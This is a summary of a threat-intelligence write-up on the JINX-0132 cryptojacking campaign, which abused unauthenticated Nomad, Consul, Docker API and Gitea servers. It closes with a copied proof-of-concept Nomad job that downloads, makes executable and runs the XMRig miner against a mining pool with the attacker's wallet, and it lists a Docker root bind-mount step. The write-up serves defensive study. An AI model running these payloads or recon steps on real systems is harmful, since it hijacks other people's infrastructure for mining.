# DevOps Tools Targeted for Cryptojacking

JINX-0132 exploited unauthenticated Nomad, Consul, Docker API and Gitea misconfigurations to run XMRig miners on exposed DevOps servers.

- Payout: Real-world hack
- Severity: high
- Analysis by: Wiz Research
- Disclosed: 2025-06-02
- Write-up quality: 6/10
- Original: https://www.wiz.io/blog/jinx-0132-cryptojacking-campaign
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-jinx-0132-cryptojacking-campaign
- Tags: area:cloud domain:cloud domain:infra impact:integrity impact:rce kind:incident platform:threat-intel sev:high tech:docker technique:default-creds vuln:misconfiguration vuln:rce

**Target:** Publicly exposed DevOps web servers (Nomad, Consul, Docker API, Gitea)
**Root cause:** Nomad and Consul ship not-secure-by-default: any unauthenticated API user can submit jobs or register script health checks, yielding command execution on the server and all registered nodes; Docker API exposed on tcp://0.0.0.0:2375 grants root-equivalent control.
**Steps:**
1. Recon exposed Nomad/Consul/Docker/Gitea instances (Shodan)
2. Nomad: POST a job to the Jobs API with a task Config running `sh -c` that wgets the XMRig 6.22.2 linux-static tarball from GitHub, extracts it, chmods and runs it against pool.supportxmr.com with attacker wallet
3. Consul: register a service with a script health check executing the same download-and-mine command
4. Docker: POST /containers/create with `"Binds":["/:/host"]` then POST /containers/{id}/start, or run a miner image
5. Gitea: exploit CVE-2020-14144 git hooks (post-receive script) or unlocked installer to gain RCE
**How found:** Wiz Threat Research hunted internet-exposed DevOps tooling, correlating Shodan-exposed Nomad/Consul instances with observed malicious job and service registrations and mining pool traffic.
**Exploitation:** Attacker submits malicious Nomad jobs / Consul health checks / Docker containers that download the official XMRig 6.22.2 linux-static tarball from its public GitHub release, extract it, chmod 777, and run it with `--coin monero --cpu-max-threads-hint=90` against pool.supportxmr.com using wallet 468VEByGGFQSN2bJG99ovhe5SG9SLxLAA9e2s7tWFxvBM33FAEP4JbwYHEeXexq8djYpDEHg9Jq6eGF3rREnAAc4UkjLd3E; mining proceeds on compromised CPU/RAM.
**Escalation:** Docker socket mount inside a container allows pivoting to Kubernetes or other hosts; Nomad jobs propagate to all registered clients, multiplying compute.
**Insight:** Orchestrator control planes (Nomad jobs, Consul script health checks) are RCE-by-design when ACLs are off; search Shodan for these APIs and check whether job/service submission requires auth rather than looking for malware signatures.

## Proof of concept (copied exactly from the original report)

**Nomad job task downloading and running XMRig**

```
"Config": {
 "command": "sh",
 "args": [
 "-c",
 "apt-get update -y ; sudo apt-get update -y ; apt-get install wget ; sudo apt-get install wget ; wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ; sudo wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ; tar -xzf xmrig-6.22.2-linux-static-x64.tar.gz ; cd xmrig-6.22.2 ; chmod 777 xmrig ; sudo chmod 777 xmrig ; ./xmrig -o pool.supportxmr.com:443 -u 468VEByGGFQSN2bJG99ovhe5SG9SLxLAA9e2s7tWFxvBM33FAEP4JbwYHEeXexq8djYpDEHg9Jq6eGF3rREnAAc4UkjLd3E --tls --coin monero --cpu-max-threads-hint=90 -p {redacted}:4646"
 ]
 }
```